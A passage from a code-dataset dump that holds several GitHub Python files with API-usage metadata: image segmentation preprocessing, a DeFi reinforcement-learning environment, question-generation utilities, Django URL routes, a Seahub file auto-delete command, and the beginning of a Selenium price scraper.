train_frames_dir\n train_masks_dir {str} -- train_masks_dir\n val_frames_dir {str} -- val_frames_dir\n val_masks_dir {str} -- val_masks_dir\n \n Returns:\n train_generator, val_generator {generator} -- train and validation Generator \n \"\"\"\n train_datagen = ImageDataGenerator(\n rescale=rescale,\n shear_range=shear_range,\n zoom_range=zoom_range,\n horizontal_flip=horizontal_flip)\n \n val_datagen = ImageDataGenerator(rescale=rescale)\n\n train_image_generator = train_datagen.flow_from_directory(train_frames_dir, batch_size = batch_size, class_mode=None, target_size=(Constant.IMG_WIDTH,Constant.IMG_HEIGHT))\n train_mask_generator = train_datagen.flow_from_directory(train_masks_dir, batch_size = batch_size,class_mode=None, target_size=(Constant.IMG_WIDTH,Constant.IMG_HEIGHT), color_mode = \"grayscale\")\n val_image_generator = val_datagen.flow_from_directory(val_frames_dir, batch_size = batch_size, class_mode=None, target_size=(Constant.IMG_WIDTH,Constant.IMG_HEIGHT))\n val_mask_generator = val_datagen.flow_from_directory(val_masks_dir, batch_size = batch_size, class_mode=None,\n target_size=(Constant.IMG_WIDTH,Constant.IMG_HEIGHT), color_mode = \"grayscale\")\n\n train_generator = zip(train_image_generator, train_mask_generator)\n val_generator = zip(val_image_generator, val_mask_generator)\n return train_generator, val_generator\n\n def custom_data_gen(self, img_folder, mask_folder, batch_size):\n \"\"\"Custom Generator which which yields raw and mask images\n \n Arguments:\n img_folder {str} -- img_folder\n mask_folder {str} -- mask_folder\n batch_size {str} -- batch_size\n \n Yields:\n img, mask -- img, mask\n \"\"\"\n count = 0\n train_frames_list = os.listdir(img_folder) #List of training images\n random.shuffle(train_frames_list)\n \n while (True):\n img = np.zeros((batch_size,Constant.IMG_WIDTH, Constant.IMG_HEIGHT, Constant.CHANNELS)).astype('float')\n mask = np.zeros((batch_size, Constant.IMG_WIDTH, Constant.IMG_HEIGHT, 1)).astype('float')\n\n for idx in range(count, count+batch_size): #initially from 0 to 16, c = 0. \n\n train_img = cv2.imread(os.path.join(img_folder, train_frames_list[idx]))/255.\n train_img = cv2.resize(train_img, (Constant.IMG_WIDTH, Constant.IMG_HEIGHT))# Read an image from folder and resize\n \n img[idx-count] = train_img #add to array - img[0], img[1], and so on. \n train_mask = cv2.imread(os.path.join(mask_folder, train_frames_list[idx]), cv2.IMREAD_GRAYSCALE)/255.\n train_mask = cv2.resize(train_mask, (Constant.IMG_WIDTH, Constant.IMG_HEIGHT))\n train_mask = train_mask.reshape(Constant.IMG_WIDTH, Constant.IMG_HEIGHT, 1) # Add extra dimension for parity with train_img size [512 * 512 * 3]\n\n mask[idx-count] = train_mask\n\n count += batch_size\n if(count+batch_size>=len(os.listdir(img_folder))):\n count=0\n random.shuffle(train_frames_list)\n # print \"randomizing again\"\n yield img, mask\n\n def visualise_data(self, num_images=3):\n \"\"\" Function will take num_images as input \n and plots the dataset mask and images using matplotib subplot\n\n \n Keyword Arguments:\n num_images {int} -- num_images (default: {3})\n \"\"\" \n train_frames_dir = os.path.join(Constant.TRAIN_FRAMES_DIR, 'train')\n train_masks_dir = os.path.join(Constant.TRAIN_MASKS_DIR, 'train')\n raw_images_list = os.listdir(train_frames_dir)\n\n merge_image_list = [] \n image_list = [] \n mask_list = [] \n for idx in range(num_images):\n file_path = random.choice(raw_images_list)\n file_name = file_path.split('.jpg')[0]\n\n img = cv2.imread(os.path.join(train_frames_dir, file_path))\n base_img = cv2.resize(img, (Constant.IMG_WIDTH, Constant.IMG_HEIGHT),0)\n base_img = cv2.cvtColor(base_img, cv2.COLOR_BGR2RGB)\n image_list.append(base_img)\n\n mask = cv2.imread(os.path.join(train_masks_dir, file_path))\n # mask = cv2.cvtColor(mask, cv2.COLOR_BGR2RGB)\n mask_list.append(mask)\n\n merge_image = cv2.addWeighted(base_img, 0.7, mask, 0.3, 0.0)\n # merge_image = cv2.cvtColor(merge_image, cv2.COLOR_BGR2RGB)\n merge_image_list.append(merge_image)\n \n\n fig, axs = plt.subplots(nrows=num_images, ncols=3)\n fig.set_figheight(8)\n fig.set_figwidth(15)\n plt.axis('off')\n\n for plot in range(num_images):\n axs[plot, 0].imshow(image_list[plot], interpolation='nearest')\n axs[plot, 0].set_title('Raw Image')\n axs[plot, 1].imshow(mask_list[plot], interpolation='nearest')\n axs[plot, 1].set_title('Mask Image') \n axs[plot, 2].imshow(merge_image_list[plot], interpolation='nearest')\n axs[plot, 2].set_title('Segmented Mask') \n \n plt.show()\n \n\n\nif __name__ == '__main__':\n dataset_object = CelebADataset()\n dataset_object.mask_folder_creation()\n dataset_object.visualise_data(num_images=2)\n\n # train_gen, val_gen = dataset_object.data_gen(Constant.TRAIN_FRAMES_DIR, Constant.TRAIN_MASKS_DIR, Constant.VAL_FRAMES_DIR, Constant.VAL_MASKS_DIR)\n\n # train_gen = dataset_object.custom_data_gen(Constant.TRAIN_FRAMES_DIR+'/train', Constant.TRAIN_MASKS_DIR+'/train', batch_size = 4)\n # val_gen = dataset_object.custom_data_gen(Constant.VAL_FRAMES_DIR+'/test', Constant.VAL_MASKS_DIR+'/test', batch_size = 4)\n ", "repo_name": "rosenta/CelebA_Image_Segmentation", "sub_path": "data_preprocessing.py", "file_name": "data_preprocessing.py", "file_ext": "py", "file_size_in_byte": 13440, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 19, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 20, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 20, "usage_type": "name"}, {"api_name": "utils.constant.Constant.CHANNELS", "line_number": 21, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 21, "usage_type": "name"}, {"api_name": "utils.constant.Constant.ANNOTATION_DIR", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 22, "usage_type": "name"}, {"api_name": "utils.constant.Constant.RAW_IMAGE_DIR", "line_number": 23, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 23, "usage_type": "name"}, {"api_name": "utils.constant.Constant.BASE_DIR", "line_number": 24, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.common_utility.CommonUtility.create_folder", "line_number": 26, "usage_type": "call"}, {"api_name": "utils.common_utility.CommonUtility", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 79, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 85, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 88, "usage_type": "call"}, {"api_name": "utils.constant.Constant.BASE_DIR", "line_number": 91, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 91, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "utils.common_utility.CommonUtility.create_folder", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.common_utility.CommonUtility", "line_number": 103, "usage_type": "name"}, {"api_name": "utils.common_utility.CommonUtility.create_folder", "line_number": 104, "usage_type": "call"}, {"api_name": "utils.common_utility.CommonUtility", "line_number": 104, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "multiprocessing.Process", "line_number": 115, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 145, "usage_type": "call"}, {"api_name": "os.path", "line_number": 145, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "utils.common_utility.CommonUtility.create_copy_of_a_file_to_dest", "line_number": 147, "usage_type": "call"}, {"api_name": "utils.common_utility.CommonUtility", "line_number": 147, "usage_type": "name"}, {"api_name": "time.time", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 157, "usage_type": "call"}, {"api_name": "time.time", "line_number": 164, "usage_type": "call"}, {"api_name": "utils.constant.Constant.RESCALE", "line_number": 170, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 170, "usage_type": "name"}, {"api_name": "utils.constant.Constant.BATCH_SIZE", "line_number": 171, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 171, "usage_type": "name"}, {"api_name": "utils.constant.Constant.SHEAR_RANGE", "line_number": 172, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 172, "usage_type": "name"}, {"api_name": "utils.constant.Constant.ZOOM_RANGE", "line_number": 173, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 173, "usage_type": "name"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 185, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 191, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 193, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 193, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 193, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 194, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 194, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 194, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 195, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 195, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 195, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 197, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 197, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 197, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 215, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 216, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 219, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 219, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 219, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 219, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.CHANNELS", "line_number": 219, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 220, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 220, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 220, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 220, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path", "line_number": 224, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 225, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 225, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 225, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 225, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 228, "usage_type": "call"}, {"api_name": "os.path", "line_number": 228, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_GRAYSCALE", "line_number": 228, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 229, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 229, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 229, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 229, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 230, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 230, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 230, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 235, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 249, "usage_type": "call"}, {"api_name": "os.path", "line_number": 249, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.TRAIN_FRAMES_DIR", "line_number": 249, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 249, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant.TRAIN_MASKS_DIR", "line_number": 250, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 250, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 251, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 257, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 261, "usage_type": "call"}, {"api_name": "utils.constant.Constant.IMG_WIDTH", "line_number": 261, "usage_type": "attribute"}, {"api_name": "utils.constant.Constant", "line_number": 261, "usage_type": "name"}, {"api_name": "utils.constant.Constant.IMG_HEIGHT", "line_number": 261, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 262, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 262, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path", "line_number": 265, "usage_type": "attribute"}, {"api_name": "cv2.addWeighted", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 274, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 274, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 277, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 277, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 287, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 287, "usage_type": "name"}]} +{"seq_id": "32382663515", "text": "import gym\nimport numpy as np\n\nfrom market_env.env import DefiEnv\n\n\nclass ProtocolEnv(gym.Env):\n def __init__(\n self,\n defi_env: DefiEnv,\n ):\n self.defi_env = defi_env\n num_pools = len(defi_env.plf_pools)\n self.observation_space = gym.spaces.Box(\n # self.total_available_funds,\n # self.reserve,\n # self.total_i_tokens,\n # self.total_b_tokens,\n # self.collateral_factor,\n # self.utilization_ratio,\n # self.supply_apy,\n # self.borrow_apy,\n # self.env.prices[self.asset_name],\n # self.asset_volatility[self.env.step],\n # self.step_num,\n low=np.array([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] * num_pools),\n high=np.array(\n [\n np.inf,\n np.inf,\n np.inf,\n np.inf,\n 1,\n np.inf,\n np.inf,\n np.inf,\n np.inf,\n np.inf,\n np.inf,\n ]\n * num_pools\n ),\n dtype=np.float32,\n )\n num_action = defi_env.num_action_pool**num_pools\n self.action_space = gym.spaces.Discrete(num_action) # lower, keep, raise\n\n def reset(self) -> np.ndarray:\n # self.market.reset()\n self.defi_env.reset()\n return self.defi_env.get_state()\n\n def step(self, action: int) -> tuple[np.ndarray, float, bool, dict]:\n self.defi_env.act_update_react(action)\n state = self.defi_env.get_state()\n reward = self.defi_env.get_reward()\n done = self.defi_env.is_done()\n\n return state, reward, done, {}\n", "repo_name": "xujiahuayz/auto-gov", "sub_path": "rl/rl_env.py", "file_name": "rl_env.py", "file_ext": "py", "file_size_in_byte": 1779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "gym.Env", "line_number": 7, "usage_type": "attribute"}, {"api_name": "market_env.env.DefiEnv", "line_number": 10, "usage_type": "name"}, {"api_name": "gym.spaces.Box", "line_number": 14, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 32, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 34, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 35, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.float32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "gym.spaces.Discrete", "line_number": 46, "usage_type": "call"}, {"api_name": "gym.spaces", "line_number": 46, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 53, "usage_type": "attribute"}]} +{"seq_id": "10082816317", "text": "from typing import Dict, List, Tuple\nimport torch\nimport joblib\nimport os\nfrom os.path import join\nimport pandas as pd\nimport numpy as np\nfrom functools import partial\nfrom itertools import repeat\n\nDEFAULT_DEVICE = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\ndef generate_summaries_examples(\n examples: List[Dict],\n batch_num,\n model,\n qt,\n device: str = DEFAULT_DEVICE,\n args=None,\n **generate_kwargs,\n) -> Dict:\n global QT\n QT = qt\n qt_tokens = model.tokenizer(qt, return_tensors=\"pt\", truncation=True, padding=\"longest\").to('cuda:{}'.format(args.device))\n add_qt_context = lambda x, y : y + '' + x + ''\n examples = list(add_qt_context(examples, qt))\n batch = model.tokenizer(examples, return_tensors=\"pt\", \n truncation=True, padding=\"longest\").to('cuda:{}'.format(args.device))\n\n if batch.input_ids.shape[1] > 900:\n batch.input_ids = batch.input_ids[:, :900]\n batch.attention_mask = batch.attention_mask[:, :900]\n temp_tgt = []\n generated_sents = []\n summaries = model.generate(\n input_ids=batch.input_ids,\n attention_mask=batch.attention_mask,\n qt=qt_tokens.input_ids, \n temp_tgt=temp_tgt,\n **generate_kwargs,\n )\n generated_sent = model.tokenizer.batch_decode(summaries, skip_special_tokens=True,clean_up_tokenization_spaces=False)\n tgt_input_ids, tgt_masks = model.tokenizer(generated_sent, return_tensors=\"pt\", truncation=True, padding=\"longest\").to('cuda:{}'.format(device)).values()\n temp_tgt = [tgt_input_ids, tgt_masks]\n for i in generated_sent:\n generated_sents.append([i])\n for i in range(1, args.generate_num):\n summaries = model.generate(\n input_ids=batch.input_ids,\n attention_mask=batch.attention_mask,\n qt=qt_tokens.input_ids, \n temp_tgt=temp_tgt,\n **generate_kwargs,\n )\n temp = model.tokenizer.batch_decode(summaries, skip_special_tokens=True,clean_up_tokenization_spaces=False)\n \n cand_group = []\n for j in range(len(examples)):\n cand = check_dups(generated_sents[j], temp[j*(int(len(temp)/len(examples))): (j+1)*(int(len(temp)/len(examples)))])\n generated_sents[j].append(cand)\n cand_group.append(cand)\n tgt_temp_ids, tgt_temp_masks = model.tokenizer(cand_group, return_tensors=\"pt\", truncation=True, padding=\"longest\").to('cuda:{}'.format(device)).values()\n tgt_input_ids = torch.cat((tgt_input_ids, tgt_temp_ids), dim=1)\n tgt_masks = torch.cat((tgt_masks, tgt_temp_masks), dim=1)\n temp_tgt = [tgt_input_ids, tgt_masks]\n # print(generated_sents[j])\n return generated_sents\n\ndef check_dups(gen_list, gen):\n for i in gen:\n dups = False\n for j in gen_list:\n if i == j:\n dups = True\n continue\n if dups == False:\n return i\n return gen_list[0]\n\ndef load_data(data_dir):\n try:\n df = pd.read_excel(data_dir)\n df = df.loc[:,['cor_section', 'question']]\n df.columns = ['context', 'question']\n except:\n df = pd.read_csv(data_dir)\n df = df.loc[:,['cor_section', 'question']]\n df.columns = ['context', 'question']\n \n return df", "repo_name": "hkyoon95/mQG", "sub_path": "src/generate_utils.py", "file_name": "generate_utils.py", "file_ext": "py", "file_size_in_byte": 3302, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "torch.cuda.is_available", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 11, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 64, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 21, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 82, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 86, "usage_type": "call"}]} +{"seq_id": "41717315903", "text": "from django.urls import path\nfrom web.views import (\n LoginView,\n ProfileRetrieveView,\n UserView,\n PingPongView,\n ProfileListView,\n ArticleListView,\n ArticleRetrieveUpdateView,\n CommentListView,\n ArticleCreateView,\n)\n\nurlpatterns = [\n path(\"ping/\", PingPongView.as_view()),\n path(\"users/\", UserView.as_view()),\n path(\"users/login/\", LoginView.as_view()),\n path(\"profiles/\", ProfileListView.as_view()),\n path(\"profiles/\", ProfileRetrieveView.as_view()),\n path(\"articles/\", ArticleCreateView.as_view()),\n path(\"articles/\", ArticleListView.as_view()),\n path(\"articles//\", ArticleRetrieveUpdateView.as_view()),\n path(\"articles//comments/\", CommentListView.as_view()),\n]\n", "repo_name": "tarunluthra123/django-blog", "sub_path": "web/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 742, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "web.views.PingPongView.as_view", "line_number": 15, "usage_type": "call"}, {"api_name": "web.views.PingPongView", "line_number": 15, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "web.views.UserView.as_view", "line_number": 16, "usage_type": "call"}, {"api_name": "web.views.UserView", "line_number": 16, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "web.views.LoginView.as_view", "line_number": 17, "usage_type": "call"}, {"api_name": "web.views.LoginView", "line_number": 17, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "web.views.ProfileListView.as_view", "line_number": 18, "usage_type": "call"}, {"api_name": "web.views.ProfileListView", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}, {"api_name": "web.views.ProfileRetrieveView.as_view", "line_number": 19, "usage_type": "call"}, {"api_name": "web.views.ProfileRetrieveView", "line_number": 19, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 20, "usage_type": "call"}, {"api_name": "web.views.ArticleCreateView.as_view", "line_number": 20, "usage_type": "call"}, {"api_name": "web.views.ArticleCreateView", "line_number": 20, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 21, "usage_type": "call"}, {"api_name": "web.views.ArticleListView.as_view", "line_number": 21, "usage_type": "call"}, {"api_name": "web.views.ArticleListView", "line_number": 21, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 22, "usage_type": "call"}, {"api_name": "web.views.ArticleRetrieveUpdateView.as_view", "line_number": 22, "usage_type": "call"}, {"api_name": "web.views.ArticleRetrieveUpdateView", "line_number": 22, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 23, "usage_type": "call"}, {"api_name": "web.views.CommentListView.as_view", "line_number": 23, "usage_type": "call"}, {"api_name": "web.views.CommentListView", "line_number": 23, "usage_type": "name"}]} +{"seq_id": "18831971433", "text": "# encoding: utf-8\n\nimport os\nimport stat\nimport time\nimport json\nimport logging\nfrom datetime import datetime\n\nfrom django.core.management.base import BaseCommand\n\nfrom seaserv import seafile_api\n\nfrom seahub.repo_auto_delete.models import RepoAutoDelete\n\nlogger = logging.getLogger(__name__)\n\n\ndef iterate_and_del_files_recursively(repo_id, path, days):\n\n dirents = seafile_api.list_dir_by_path(repo_id, path)\n\n del_dirents = list()\n for dirent in dirents:\n\n if stat.S_ISDIR(dirent.mode):\n iterate_and_del_files_recursively(repo_id, os.path.join(path, dirent.obj_name), days)\n else:\n mtime = dirent.mtime\n cur_time = int(time.time())\n time_delta = days * 24 * 60 * 60\n if cur_time - time_delta > mtime:\n del_dirents.append(dirent.obj_name)\n if del_dirents:\n try:\n seafile_api.del_file(repo_id, path, json.dumps(del_dirents), 'seafevents')\n except Exception as e:\n logger.error('Failed to delete files in repo: %s, path: %s, error: %s' % (repo_id, path, e))\n\n\nclass Command(BaseCommand):\n help = 'scan repo_files_auto_del table, and delete old files if checked true'\n label = \"scan_repo_files_auto_del\"\n\n def handle(self, *args, **options):\n logger.debug('Start scan repo_files_auto_del...')\n self.stdout.write('[%s] Start scan repo_files_auto_del...\\n' % datetime.now())\n\n try:\n self.do_action(*args, **options)\n except Exception as e:\n logger.error(e)\n\n self.stdout.write('[%s] Finish scan repo_files_auto_del.\\n' % datetime.now())\n logger.debug('Finish scan repo_files_auto_del.')\n\n def do_action(self, *args, **options):\n repo_auto_deletes = RepoAutoDelete.objects.filter(days__gt=0)\n for auto_del in repo_auto_deletes:\n iterate_and_del_files_recursively(auto_del.repo_id, '/', auto_del.days)\n", "repo_name": "haiwen/seahub", "sub_path": "seahub/repo_auto_delete/management/commands/scan_repo_auto_delete.py", "file_name": "scan_repo_auto_delete.py", "file_ext": "py", "file_size_in_byte": 1930, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 506, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "seaserv.seafile_api.list_dir_by_path", "line_number": 21, "usage_type": "call"}, {"api_name": "seaserv.seafile_api", "line_number": 21, "usage_type": "name"}, {"api_name": "stat.S_ISDIR", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "seaserv.seafile_api.del_file", "line_number": 36, "usage_type": "call"}, {"api_name": "seaserv.seafile_api", "line_number": 36, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 36, "usage_type": "call"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 47, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 47, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "seahub.repo_auto_delete.models.RepoAutoDelete.objects.filter", "line_number": 58, "usage_type": "call"}, {"api_name": "seahub.repo_auto_delete.models.RepoAutoDelete.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "seahub.repo_auto_delete.models.RepoAutoDelete", "line_number": 58, "usage_type": "name"}]} +{"seq_id": "71109725084", "text": "import pandas as pd\nimport numpy as np\nfrom selenium import webdriver\nfrom datetime import datetime\nfrom datetime import date\nimport time\n#from selenium.webdriver.common.keys import Keys\n#from selenium.webdriver.support.ui import WebDriverWait\n#from selenium.webdriver.support import expected_conditions as EC\n#from selenium.webdriver.common.by import By\n\n#cd Desktop\n\n#Current date\ntoday = datetime.now().date()\n\n#Start two webdrivers for mstr and btc\ndriver1 = webdriver.Chrome(\"/Users/joevorbeck/desktop/chromedriver\")\ndriver2 = webdriver.Chrome(\"/Users/joevorbeck/desktop/chromedriver\")\n\n#Open $btc on google\ndriver1.get(\"https://www.google.com/search?q=%24btc&oq=%24btc&aqs=chrome.0.69i59j0l7.2409j0j7&sourceid=chrome&ie=UTF-8\")\n#Open $mstr on 